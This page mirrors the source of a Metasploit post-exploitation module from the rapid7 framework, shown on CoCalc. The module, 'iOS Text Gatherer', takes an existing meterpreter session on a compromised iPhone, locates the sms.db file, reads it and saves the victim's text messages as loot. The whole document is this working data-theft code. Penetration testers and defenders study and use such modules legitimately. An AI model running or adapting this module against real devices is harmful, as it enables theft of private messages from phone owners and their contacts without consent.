CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/apple_ios/gather/ios_text_gather.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'iOS Text Gatherer',
15
'Description' => %q{
16
This module collects text messages from iPhones.
17
Tested on iOS 10.3.3 on an iPhone 5.
18
},
19
'License' => MSF_LICENSE,
20
'Author' => [ 'Shelby Pace' ], # Metasploit Module
21
'Platform' => [ 'apple_ios' ],
22
'SessionTypes' => [ 'meterpreter' ]
23
)
24
)
25
end
26
27
def download_text_db(file_path)
28
db_file_data = read_file(file_path)
29
loc = store_loot('sms.db.file', 'text/plain', session, db_file_data, 'sms.db')
30
print_good("sms.db stored at #{loc}")
31
rescue StandardError
32
fail_with(Failure::NoAccess, 'Failed to read sms.db file')
33
end
34
35
def run
36
sms_path = '/private/var/mobile/Library/SMS/sms.db'
37
unless file?(sms_path)
38
fail_with(Failure::NotFound, "Couldn't locate sms.db file")
39
end
40
41
print_good('sms.db file found')
42
download_text_db(sms_path)
43
end
44
end
45
46